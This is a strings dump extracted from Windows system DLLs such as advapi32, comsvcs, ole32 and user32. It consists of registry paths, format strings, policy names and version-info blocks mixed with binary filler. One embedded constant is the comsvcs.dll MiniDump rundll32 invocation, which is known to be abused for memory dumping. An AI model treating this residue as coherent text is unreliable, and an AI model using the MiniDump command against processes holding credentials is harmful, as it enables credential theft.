%02d:%02d:%02d:%03d %SystemRoot%\Debug\UserMode\appmgmt.log 8c7daf44-b6dc-11d1-9a4c-0020af6e7c57 appmgmt Application Management Group Policy CEvents::Report called with more params then expected! Paths Hashes UrlZones LastModified AuthenticodeEnabled %HKEY_CURRENT_USER %HKEY_LOCAL_MACHINE rule, Guid = using as ) identified (PID = %s%s%Id%s%s%s%s%s%s%s{%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} \Registry\Machine\System\CurrentControlSet\Control\SrpExtensionConfig ExtensionDll IGNORESRPV2 ItemData ItemSize HashAlg \SHA256 LevelObjects\ CodeIdentifiers DisallowExecution Restrictions DefaultOwner Restrictions\PrivsToRemove DisableMaxPrivilege Count InvertPrivs Restrictions\SidsToDisable InvertGroups Restrictions\RestrictingSidsAdded Restrictions\RestrictingSidsInverted HonorUserIdentities \\%ws \PIPE\winreg 765294BA-60BC-48B8-92E9-89FD77769D91 host/ .exe seclogon Security=impersonation static false SECLOGON %ws%wc%ws %ws%wc (){} @RESOURCE. (%ls) !"&)(<>=|0123456789abcdef #$'*+-./:;?@[\]^_`{}~ :./_@ NULL \system32\ prfh perfc004.dat perfh004.dat perfc016.dat perfh016.dat %ws\%ws??%ws%ws %ws\%ws %ws\%ws.tmp %ws%ws%ws Perf OSNePrDi_%d dSystem\CurrentControlSet\Services\ MofImagePath ImagePath %SystemRoot%\System32\Drivers\ .SYS \SystemRoot\ %SystemRoot%\ {%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} ws2_32.dll t\REGISTRY\MACHINE\SOFTWARE\CLASSES Software\Classes\ Classes\ \Registry\Machine \Registry\Machine\Software ncacn_nb_tcp ncacn_nb_nb ncacn_spx ncacn_nb_ipx \PIPE\InitShutdown 127.0.0.1 localhost LsarpcClientAllowRemotedSecretOperations SYSTEM\CurrentControlSet\Control\Lsa lsarpc securityevent audit lsacap \PIPE\ jjjjjjj jjjjjj jjjjjj jjjjjjh jjjjjj jjjjjj jjjjjj jjjjjj jjjjjj jjjjjj jjjjjjh jjjjjj jjjjjj jjjjjj jjjjjj jjjjjjj jjjjjjjj jjjjjjj jjjjjjj jjjjjj jjjjjjjj jjjjjjj jjjjjjj jjjjjjj jjjjjj jjjjjjj jjjjjj jjjjjj jjjjjjh jjjjjj jjjjjj jjjjjj jjjjjj jjjj !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Advanced Windows 32 Base API FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName advapi32.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename advapi32.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation en-US CLBCATQ Software\Microsoft\COM3 PartitionsEnabled RemoteAccessEnabled NULL MiniJITEnabled %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] ntdll.dll kernelbase.dll \es.dll Inproc Software\Classes\CLSID\ \InprocServer32 \dllhst3g.exe /Processid: \dllhost.exe /Processid: \dllhst3g.exe \dllhost.exe TRUE FALSE SOFTWARE\Microsoft\OLE UseLegacyLowCommitDetection MinimumFreeMemPercentageToCreateProcess MinimumFreeMemPercentageToCreateObject GlobalMemoryStatusEx failed com\complus\src\comcat\catalogqueries\clbcatq\memgates.cpp dwMemoryLoad = %u ullTotalPhys = 0x%x%08x ullAvailPhys = 0x%x%08x ullTotalPageFile = 0x%x%08x ullAvailPageFile = 0x%x%08x ullTotalVirtual = 0x%x%08x ullAvailVirtual = 0x%x%08x Local\SM0:%lu:%lu:%hs Software\Classes CLSID Software\Classes\CLSID\%s\InprocServer32 Software\Classes\CLSID\%s Software\Microsoft\COM3\Applications RequireAuthenticatedMessages comres.dll %s,"""%s""","""""","""%s""",0x00000100,System Application %systemroot%\system32\emptyregdb.dat Global\__ComCatalogCache__ .corrupt com\complus\src\comcat\regdb\regdbapi\regdbapi.cpp REGDBVersion \R????????????.clb .clb 000000000000 DBTYPE_OID DBTYPE_I2 short DBTYPE_I4 long DBTYPE_R4 float DBTYPE_R8 double DBTYPE_CY currency DBTYPE_DATE vbdate DATE DBTYPE_BOOL bool VARIANT_BOOL DBTYPE_VARIANT variant VARIANT DBTYPE_UI1 unsigned tinyint unsigned char DBTYPE_I1 tinyint char DBTYPE_UI2 unsigned short DBTYPE_UI4 unsigned long DBTYPE_I8 bigint __int64 DBTYPE_UI8 unsigned bigint unsigned __int64 DBTYPE_GUID GUID DBTYPE_BYTES varbinary BYTE DBTYPE_STR varchar DBTYPE_WSTR wide varchar wchar_t DBTYPE_DBDATE date DBDATE DBTYPE_DBTIME time DBTIME DBTYPE_DBTIMESTAMP datetime DBTIMESTAMP Microsoft COM+ Services Meta Data ComPlusMetaDataServices Both ServicesMetaDataDispenser ServicesMetaDataReg LOCAL TEMPORARY TABLE Software\Microsoft\COM+ EE %s.%s %s.%d InprocServer32 %s\%s ThreadingModel CLSID\%s CurVer ProgID VersionIndependentProgID NotInsertable %u_%u #Strings #Blob #Variants #GUID #Schema .clb.txn AllowDeleteOnRevert COMPLIB: Fatal error during Save. 0x%p Exception pointers are at ##%s_Dex Apartment Free Neutral rpcss.dll ole32.dll g\KernelObjects\MaximumCommitCondition Activator \RunDll32.exe Global\ RunDll32.exe catsrvut.dll,ManagedRequest {15b0bb4c-0f7d-11D1-b21f-00C04Fb9473f} clbcatq.dll stclient.dll catsrvut.dll {07D26616-6136-11D1-8C9C-00C04FC3261D} {819469D2-D0CF-11d1-8E0B-00C04FC2E0C7} Progid ProxyStubClsid32 Typelib Version AppID InprocHandler32 LocalServer32 RemoteServerName LocalService ServiceParameters DllSurrogate RunAs Password ActivateAtStorage LaunchPermissions AccessPermissions AuthenticationLevel SRPTrustLevel PartitionID Application Bitness ApplID ImplCLSID VersionMajor VersionMinor VersionBuild VersionSubBuild Locale ClassCtx Transaction Syncronization LoadBalanced IISIntrinsics COMTIIntrinsics JITActivation RoleBasedSecurityEnabled SecurityDescriptor RoleSetID MinPoolSize MaxPoolSize CreationTimeout ConstructString ClassFlags DefaultInterface NoSetCompleteEtAlOption SavedProgId RegistrarCLSID ExceptionClass IsSelfRegComponent SelfReg_InprocServer SelfReg_ThreadingModel SelfReg_ProgID SelfReg_Description SelfReg_VIProgID VbDebuggingFITS *** The serious nature of this error has caused the process to terminate. *** Error Code = 0x%08x : %s *** Internals Information: File: %s, Line: %d not loaded \VarFileInfo\Translation %u.%u.%u.%u Comsvcs.dll file version info: %s %s %s comsvcs.dll COM+ %s\%s*.dmp .txt %s\%s_%04d_%02d_%02d_%02d_%02d_%02d.dmp RunDll32 comsvcs.dll,MiniDump %s %d %s full com\complus\src\shared\util\svcerr.cpp This is a COM+ Failfast Break Process.Thread=<%d.%d> File: %s:%d hr=0x%08x ##################################################################### ##################################################################### Software\Microsoft\COM3\Debug AutoAddTraceToContext DebugBreakOnFailFast DebugBreakOnInitComPlus DebugBreakOnLoadComsvcs TraceActivityModule TraceContextCreation TraceInfrastructureCalls TraceSTAPool TraceSecurity TraceSecurityPM EventDispatchTtime InitializeCriticalSectionAndSpinCount com\complus\src\shared\util\utsem.cpp user32.dll winsta0 default %systemroot%\Registration ForceNegoAuthnSvc Out of memory com\complus\src\inc\svcmem.h SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDlls hkeySharedDlls com\complus\src\comcat\regscan\regscanutil.cpp Both SOFTWARE\Classes\CLSID ThreadingModel InprocServer32 C:\WINDOWS\system32\emptyregdb.dat C:\WINDOWS\Registration\R000000000006.clb C:\WINDOWS\Registration C:\WINDOWS\Registration TYPELIB Software\Microsoft\Windows\CurrentVersion\Policies LangID CLSID\ \InProcServer32 Software\Classes\ PATH System ntdll.dll Skip Binding CLSID SkipBindingCLSIDArray Desktop FFlags ItemPos PerceivedType SystemFileAssociations\%s Bags\%d\%s Bags\AllFolders\%s BagMRU Size comctl32.dll Software\Microsoft\Windows\CurrentVersion\Explorer\FileAssociation CutList %APPDATA% %SystemRoot% %USERPROFILE% %ProgramFiles% %ALLUSERSPROFILE% ext-ms-win-advapi32-safer-l1-1-0 ext-ms-win-ntuser-windowclass-l1-1-0 ext-ms-win-ntuser-windowclass-l1-1-1 ext-ms-win-ntuser-windowclass-l1-1-2 ext-ms-win-rtcore-gdi-devcaps-l1-1-0 ext-ms-win-rtcore-gdi-devcaps-l1-1-1 %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll ...\ Program Manager pszDesktopTitleW Software\Microsoft\Accessibility TextScaleFactor Software\Microsoft\Windows\CurrentVersion\Explorer\LowRegistry\DontShowMeThisDialogAgain Software\Microsoft\Windows\CurrentVersion\Explorer\DontShowMeThisDialogAgain Upgrade BagMRU ContentTypeAttribute ProhibitDTD .ade .adp .app .asp .cer .chm .cnt .crt .csh .der .fxp .gadget .grp .hlp .hpj .img .inf .ins .iso .isp .its .jse .ksh .mad .maf .mag .mam .maq .mar .mas .mat .mau .mav .maw .mcf .mda .mdb .mde .mdt .mdw .mdz .msc .msh .msh1 .msh1xml .msh2 .msh2xml .mshxml .msp .mst .msu .ops .pcd .plg .prf .prg .printerexport .ps1 .ps1xml .ps2 .ps2xml .psc1 .psc2 .psd1 .psm1 .pst .scf .sct .shb .shs .theme .tmp .url .vbe .vbp .vbs .vhd .vhdx .vsmacros .vsw .webpnp .wsc .wsf .wsh .xnk .library-ms .exe .lnk .cmd .bat .com .pif Software\Microsoft\Windows\CurrentVersion\Explorer 0123456789ABCDEF Version Software\Microsoft\Windows\Shell Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts Software\Microsoft\Windows\Shell\MuiCache WorkerA WorkerW Settings Microsoft\Windows\CurrentVersion\Internet Settings\Url History Microsoft\Windows\CurrentVersion\Internet Settings DaysToKeep proxy.acme.com ProxyServer AutoSuggest Microsoft\Windows\CurrentVersion\Explorer\AutoComplete Microsoft\Internet Explorer\Main FormSuggest Passwords Use FormSuggest Start Page FormSuggest PW Ask Microsoft\Internet Explorer\Control Panel about:blank Microsoft\Internet Explorer\Feeds DisableDeleteBrowsingHistory Microsoft\Internet Explorer\Feed Discovery BackgroundSyncStatus DisableFeedPane Enabled DisableEnclosureDownload DisableAddRemove Microsoft\Internet Explorer\Security\P3Global PreventIgnoreCertErrors Update_Check_Page Update_Check_Interval IEAKUpdateUrl Microsoft\Windows\CurrentVersion Microsoft\Internet Connection Wizard UrlEncoding Friendly http errors DisableICW Use_DlgBox_Colors Error Dlg Displayed On Every Error Text Color Microsoft\Internet Explorer\Settings Anchor Color Visited Background Color Anchor Color Hover Anchor Color Use AutoComplete Use Anchor Hover Color AutoSearch Append Completion CodeBaseSearchPath ForceCodeDownloadLog Connection Settings Display Inline Images AutoConfig Connwiz Admin Lock Microsoft\Internet Explorer\Security Proxy DisableFixSecuritySettings DisableSecuritySettingsCheck DisableRIED Microsoft\Windows\CurrentVersion\Internet Settings\User Agent DisableDeleteForms History Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap DisableDeletePasswords IntranetName AutoDetect UNCAsIntranet ProxyByPass SecurityTab GeneralTab ContentTab PrivacyTab ProgramsTab ConnectionsTab Microsoft\Internet Explorer\Restrictions AdvancedTab DisablePopupFilterLevel RestrictPopupExceptionList Flags Microsoft\Internet Explorer\Low Rights\ExtensionPolicy\%s Microsoft\Internet Explorer\Toolbars\Restrictions Info NoCommandBar NoNavBar Microsoft\Internet Explorer\Low Rights\ElevationPolicy Microsoft\Internet Explorer\Low Rights\ExtensionPolicy Microsoft\Internet Explorer\Low Rights\RunDll32Policy Microsoft\Internet Explorer\Low Rights\DragDrop IEFontSize Microsoft\Internet Explorer\International\Scripts Microsoft\Internet Explorer\New Windows\Allow ProxySettingsPerUser DisableToolbarUpgrader DisableFirstRunCustomize ProtectedModeOffForAllZones Microsoft\Internet Explorer\Low Rights Microsoft\Internet Explorer\XMLNamespace Microsoft\Internet Explorer\Low Rights\LowWritableRegKeys TotalLimit Microsoft\Internet Explorer\DOMStorage Microsoft\Windows\AxInstaller DomainLimit Microsoft\Internet Explorer\Security\ActiveX OnlyUseAXISforActiveXInstall AllowList BlockNonAdminActiveXInstall Microsoft\Immersive Browser\Main Software\Policies\ .avi text video audio image system document gamemedia compressed application .wmf .tif .rle .png .jpe .jpg .ico .gif .emf .dib .bmp .wax .snd .rmi .mp2 .m3u .aif .mid .wma .wav .mp3 .wvx .wmx .wmv .mpg .mpe .mpa .m1v .IVF .asx .asf .zip .htm .mht .lnk .cpl .scr .reg .pif .msi .hta .com .cmd .bat .bas .exe .tiff .jpeg .jfif .aiff .aifc .midi .mpv2 .mpeg .mp2v .html .dvr-ms .search-ms security.dll EXPLORER.EXE IEXPLORE.EXE SOFTWARE\Microsoft\Internet Explorer BuildLab Software\Microsoft\Windows NT\Current Version CustomizedVersion RegisteredOwner RegisteredOrganization ProductId SOFTWARE\Microsoft\Internet Explorer\Registration IEAKHelpString %s%s%s~%s~%s~%d~%s~%s~%s bstr boolean string wstr astr byte int16 uint16 int32 uint32 uint64 int64 double datetime stringarray guid blob null empty Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU Software\Microsoft\Internet Explorer\TypedURLs Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths Always Use Tab Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete PropDlgFont VS_VERSION_INFO StringFileInfo FileVersion JanFebMarAprMayJunJulAugSepOctNovDec MIME\Database\Content Type Extension Software\Microsoft\Windows\CurrentVersion\Explorer\DeskView Streams\Desktop ViewView2 ViewView Bags\%d\%s\Inherit Bags %dx%d(%d) %dx%dx%d(%d) Schema Namespace ResourceStrings schema-validation schemas lang http://www.w3.org/XML/1998/namespace Indexed\Settings\ XPath OpenMetadataKeyInXMLAttribute OpenMetadata ValueOverride TextContent AdditionalContent BinaryContent targetNamespace="%s" Language Type XMLPropStore PropID Name FMTID Property Properties MicrosoftProperties %s/PropertySet[@FMTID = '%%ls'] ./%s/Property[@PropID = '%%ls'] %s/NamedProperties %s/Property ./%s[@Name='%%ls'] PropertySetStorage LoadWithSAX %s\%d (null) xinetcpl.cpl Software\Policies Software TRUE FALSE Software\Policies\Microsoft\Internet Explorer\Main Software\Policies\Microsoft\Internet Explorer Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Shell Light-weight Utility Library FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName SHLWAPI LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename SHLWAPI.DLL ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation en-US :Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday :Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December !x-sys-default-locale :AM:am:PM:pm 0123456789abcdefABCDEF icu.dll tLeapSeconds SYSTEM\CurrentControlSet\Control\LeapSecondInformation w+bx e!%x !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft C Runtime Library FileVersion 10.0.26100.7623 (WinBuild.160101.0800) InternalName msvcp_win.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename msvcp_win.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7623 VarFileInfo Translation ClipboardDataObjectInterfaceMTA ClipboardRootDataObjectInterface ClipboardDataObjectInterface OLEClipPackgeOwner OleClipProcessOwner Windows.ApplicationModel.Internal.DataTransfer.ClipboardPolicy Windows.ApplicationModel.Internal.DataTransfer.ClipboardBrokerProvider MaximumAllowedAllocationSize Software\Microsoft\Ole CLSID InterfaceHelperDisableTypeLib InterfaceHelperDisableAll InterfaceHelperUser Interface\ \Registry\Machine\Software\Classes\ SOFTWARE\Microsoft\Ole\Extensions DragDropExtension OleEndPointID Elevation: Session: Console {%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} OLE_MESSAHE OM_POST_WM_COMMAND ObjectLink FileContents OleDropTargetInterface OleDropTargetMarshalHwnd EnterpriseDataProtectionId InterfaceHelperDisableAllForOle32 \Registry\Machine\Software\Classes\Interface \Registry\Machine\Software\Classes\Interface\{00020400-0000-0000-C000-000000000046} DDE Server Window StdExit OleDdeWndClass ole32.dll CLIPBRDWNDCLASS CompObj %s\system32\oleaut32.dll ntdll.dll Software\Microsoft\OLE\Tracing {%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} _BSCB_Holder_ comctl32.dll api-ms-win-core-synch-l1-2-0.dll kernel32.dll lext-ms-win-sxs-oleautomation-l1-1-0 ext-ms-win32-subsystem-query-l1-1-0 ext-ms-win-com-ole32-l1-1-0 ext-ms-win-com-ole32-l1-1-1 ext-ms-win-com-ole32-l1-1-2 ext-ms-win-com-ole32-l1-1-3 ext-ms-win-com-ole32-l1-1-4 ext-ms-win-com-ole32-l1-1-5 ext-ms-win-com-ole32-l1-3-0 ext-ms-win-ntuser-windowstation-l1-1-0 ext-ms-win-ntuser-windowstation-l1-1-1 ext-ms-win-ntuser-windowstation-l1-1-2 %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll OLE32 Local\SM0:%lu:%lu:%hs Failed to handle format string %s %!WINERROR! (%S):(%S):(%d) s%!GUID! %d %!WINERROR! Interface Proxy Stub ProxyStubClsid32 Both \Registry\Machine\Software\Classes\Interface\%ls\Forward \Registry\Machine\Software\Classes\Interface\%ls\TypeLib AuxUserType Global\RotHintTable DdeClientHwnd STATIC OlePres000 SuppressASTAAutoFlush ~OLE nOleDragDrop DragOperationInit Local\OLEDragSynchronizationMutex MGX:SNAP2 pFrameFilter pLocalizedString ExclusionList Disable Software\Microsoft\OLE\AppCompat\OLELinkConversionFromOLESTREAMToIStorage BITMAP METAFILEPICT ENHMETAFILE p%s\%s\%s Insertable Control Programmable DocObject Printable Required Categories Implemented Categories CLSID Name Charset Size Underline Weight Strikethrough Italic Bold 8dH< HnHL T6pX %ws %ws %!WINERROR! %ws %d %!WINERROR! StreamedFileTaskCompletion NumAllocationFailures NumBucketLimitReached SummaryCount NumLargeEventFailures TotalEntriesFlushed MaxEntriesStored MinEntriesFlushed MaxEntriesFlushed NumFlushes DataFormats\GetSet Failed to load library %ws (%!LOADFREEWHY!), %!WINERROR! phr:%!HRESULT! HWND:%p Item:%u %!WINERROR! Unknown 0123456789ABCDEF NULL ExecutablesToTrace Starting %ws tracing for: %ws Stopping %ws tracing for: %ws %!HRESULT! %!STATUS! %!bool! %!Windows::Foundation::RegistrationScope! %!CoModuleType! %!WAITSATISFIEDREASON! %!WINDOWMESSAGEDISPATCH! %!BLOCKINGREASON! %!WhichTypeOfRundown! %!LOADFREEWHY! %!UnmarshalingPolicyCheckReason! %!GUID! %!CLSID! %!IID! %!LIBID! %!sid! !"'*+,/;<=>?@[]`| objref Administrator Highest FileType Clsid\ IDispatch GetTypeInfoCount GetTypeInfo GetIDsOfNames Invoke Version \Registry\Machine\Software\Classes\TypeLib\%ls win32 IPersist IOleWindow IOleInPlaceObject IPersistPropertyBag IOleInPlaceObjectWindowless ISearchProtocol ISearchProtocol2 IElementBehavior Detaasycfilt.dll MS_AsyncImage_Display MS_AsyncImage_DCWait MS_AsyncImage_Finished MS_AsyncImage_Abnormal 5f54ce7d-5b79-4175-8584-cb65313a0e98 AppInfo ncalrpc COM will not use the per-user hive in this process.This can cause activation of per-user classes from Elevated and Accessibilty appsto fail with REGDB_E_CLASSNOTREG. Software\Classes pPlmSentinel_%s:%s win64 FLAGS HELPDIR TypeLib Loaded library %ws (%!LOADFREEWHY!), hMod = %#p Freeing library %ws (%!LOADFREEWHY!), hMod = %p xFound a buggy object when querying for %ws, QI returns S_OK but *ppv is nullptr Found a buggy object when querying for %ws %&'()*+,-./012345678 9:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ oleaut32.dll WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft OLE for Windows FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName OLE32.DLL LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename OLE32.DLL ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation MS Shell Dlg 2 \Registry\Machine\Software\Policies\Microsoft\Windows\Display EnablePerProcessSystemDPIForProcesses DisablePerProcessSystemDPIForProcesses http://schemas.microsoft.com/SMI/2017/WindowsSettings true GdiScaling gdiScaling PerProcessSystemDpi EnableGdiDPIScaling DisableGdiDPIScaling IMM32.DLL ext-ms-win-edputil-policy-l1-1-0 ext-ms-win-edputil-policy-l1-1-1 ext-ms-win-edputil-policy-l1-1-2 ext-ms-win32-subsystem-query-l1-1-0 NTDLL.DLL keyboardlayout.ini Preload Target IME Key Modifiers Virtual Key Keyboard Layout\DirectSwitchHotKeys Control Panel\Input Method\Hot Keys ntdll.dll \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Windows rNaturalInputHandler Global\USORebootCancel ShutdownWarningDialogTimeout MS Shell Dlg ywin32u.dll MS_TCARDHELP MS_POPUPHELP MS_WINHELP dpiAwareness http://schemas.microsoft.com/SMI/2016/WindowsSettings unaware system permonitor permonitorv2 uniform dpiAware true/pm per monitor DpiAwareness \Windows \Sessions %ws\%ld%ws User32WppTracing disableWindowFiltering http://schemas.microsoft.com/SMI/2011/WindowsSettings forceFocusBasedMouseWheel http://schemas.microsoft.com/SMI/2014/WindowsSettings Local\SM0:%lu:%lu:%hs %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] nkernelbase.dll %SystemRoot%\System32\user32.dll EventMessageFile \Registry\Machine\System\CurrentControlSet\Services\EventLog\Application\Error Instrument\ EnableDefaultReplyWOW LogSeverity EnableLogging \Registry\Machine\System\CurrentControlSet\Control\Error Message Instrument\ Local\Microsoft-Windows-DesktopBackground Software\Policies\Microsoft\Windows NT\Reliability ShutdownReasonOn ShutdownReasonUI Window Manager NULL .HLP hh.exe MSAA_ MicrosoftWindowsTooltip 00000409 kbdus.dll kbdkor.dll kbdjpn.dll IgnoreRemoteKeyboardLayout %8.8lx Active Keyboard Layout\Preload Keyboard Layout E0010411 Substitutes E0010412 \Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout Custom %s%s \Registry\Machine\ OverrideKeyboardType OverrideKeyboardSubtype Layout ID InputSettings Layout File Attributes \Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout\ System\CurrentControlSet\Services\i8042prt\Parameters \Registry\Machine\System\CurrentControlSet\Control\Keyboard Layouts\ \Registry\Machine\Software\Microsoft\Windows\Tablet PC\ IsTabletPC \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Media Center\ Ident Control Panel Input Method Hot Keys HHHHH HHHHHHHHHHHHHHH HHHHHHHHHH HHHH HHHH HHHHHH HHHHHHH HHHHHHH HHHHHHHHHH HHHHHHHHHHH HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHH HHHHHH HHH++++++HH BBBBBBBBBBBB BBBBBBBBBBHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHHHHHHH HHHHHHHHHHHHH HHHHHHHHHHHHHH HHHH HHHH HHHHHHHHHHHHHHH HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH HHHHHHH Button ComboBox ComboLBox Edit ListBox xMDIClient EStatic DDEMLMom DDEMLAnsiClient tDDEMLUnicodeClient DDEMLAnsiServer rDDEMLUnicodeServer Ghost ScrollBar 31C5CE94259D40 x:\...\ &%d %ws &%d MDIA - [ OLE32.DLL %s%s --------------------------- User32_ReaderMode UserDefined Software\Microsoft\Windows\CurrentVersion\Reliability %s\%d ShutdownIgnorePredefinedReasons avrt.dll sCapture MirrorCompatBinaryExtension SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags apphelp.dll tindicdll.dll UIA_HWNDWidth MS_UIA_IsEdgeCUIHwnd UIA_WindowVisibilityOverridden UIA_HWNDXOffset UIA_HWNDHeight UIA_HWNDYOffset {51B76210-7912-43EC-948A-BF867C0B324B} {7B051648-D996-466B-81C5-47E032DDEB65} CrossProcessParentHWND CrossProcessChildHWND Microsoft.Windows.WindowFactory.ViewId \Windows\WindowStations Service-0x00000000-00000000$ IME file Foundation.IMemoryBufferReference Windows.Foundation.IDeferralFactory Windows.Foundation.IDeferral Windows.Foundation.IAsyncAction Windows.Foundation.Collections.StringMap Windows.Foundation.Collections.PropertySet Windows.Foundation.Collections.ValueSet Windows.Foundation.Collections.IPropertySet Windows.Foundation.IStringable Windows.Foundation.PropertyValue Windows.Foundation.IPropertyValueStatics Windows.Foundation.IPropertyValue Windows.Foundation.IClosable Windows.Foundation.Collections.IVectorChangedEventArgs .bmp Marlett nmlkji gfedcb jjjj jjjj jjjj !"#$%&'()*+,-./56789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^ _`abcdefghijklmnopqrstuvwxyz{ USER32 Dummy string WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Multi-User Windows USER API Client DLL FileVersion 10.0.26100.7824 (WinBuild.160101.0800) InternalName user32 LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename user32 ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7824 VarFileInfo Translation System EventData Data Name param1 Data Name param2 param1 param2 EventData Data Name param1 Data Name param2 Data Name param3 Data Name param4 Data Name param5 Data Name param6 Data Name param7 param1 param2 param3 param4 param5 param6 param7 EventData Data Name param1 WEVT_TEMPLATE en-US WindowLegacyScaleFactor Software\Microsoft\Windows\CurrentVersion\Explorer\FCM\Impolite %sCLSID\%s %sCLSID\%s\%s Software\Microsoft\Windows\CurrentVersion\Explorer\ ViewPresentationModeForScaling ntdll.dll %s\%s SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\%s Global\ windows_shell_global_counters Software\Microsoft\Windows\CurrentVersion\QfePolicyDefinitions\%s\%s SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\%s Global\windows_shell_global_counters D:(A;;GA;;;SY)(A;;0x%x;;;%s)S:(ML;;1;;;LW) .~tmp SYSTEM\Setup SystemSetupInProgress .tmp Version RequiredFile \StringFileInfo\000004E4\ProductVersion \StringFileInfo\041D04B0\ProductVersion \StringFileInfo\041104B0\ProductVersion \StringFileInfo\100904B0\ProductVersion \StringFileInfo\04090000\ProductVersion \StringFileInfo\040904B0\ProductVersion \StringFileInfo\040704E4\ProductVersion \StringFileInfo\040904E4\ProductVersion {24CF051B-7E9E-4730-9B52-78E64066EE6A} SHCore.Subclass.Data SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Scaling LegacyAppScaleFactor WindowOverride MonitorSize WorkerW Shell_TrayWnd WindowOverrideScaleFactor Windows.Foundation.Diagnostics.AsyncCausalityTracer Content Type lext-ms-win-com-ole32-l1-1-0 ext-ms-win-com-ole32-l1-1-1 ext-ms-win-com-ole32-l1-1-2 ext-ms-win-com-ole32-l1-1-3 ext-ms-win-com-ole32-l1-1-4 ext-ms-win-com-ole32-l1-1-5 ext-ms-win-com-ole32-l1-3-0 ext-ms-win-ntuser-keyboard-l1-1-0 ext-ms-win-ntuser-keyboard-l1-2-0 ext-ms-win-ntuser-keyboard-l1-3-0 ext-ms-win-ntuser-keyboard-l1-3-1 ext-ms-win-ntuser-keyboard-l1-3-2 lext-ms-win-rtcore-ntuser-dpi-l1-1-0 ext-ms-win-rtcore-ntuser-dpi-l1-2-0 ext-ms-win-rtcore-ntuser-dpi-l1-2-1 ext-ms-win-rtcore-ntuser-dpi-l1-2-2 ext-ms-win-rtcore-ntuser-window-ext-l1-1-0 ext-ms-win-rtcore-ntuser-window-ext-l1-1-1 ext-ms-win-shell-directory-l1-1-0 ext-ms-win-appmodel-viewscalefactor-l1-1-0 ext-ms-win-imm-l1-1-0 ext-ms-win-imm-l1-1-1 ext-ms-win-imm-l1-1-2 ext-ms-win-imm-l1-1-3 %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll sLocal\SM0:%lu:%lu:%hs FALSE TRUE Windows.Storage.Streams.InMemoryRandomAccessStream Windows.Storage.Streams.RandomAccessStream ecallbackTimeoutTestHook pduplicateHandleTimeoutTestHook impoliteOplockTimeoutTestHook destination source ReadOnlyPlaceholder SHCore.Subclass.HeaderAttachTickCount 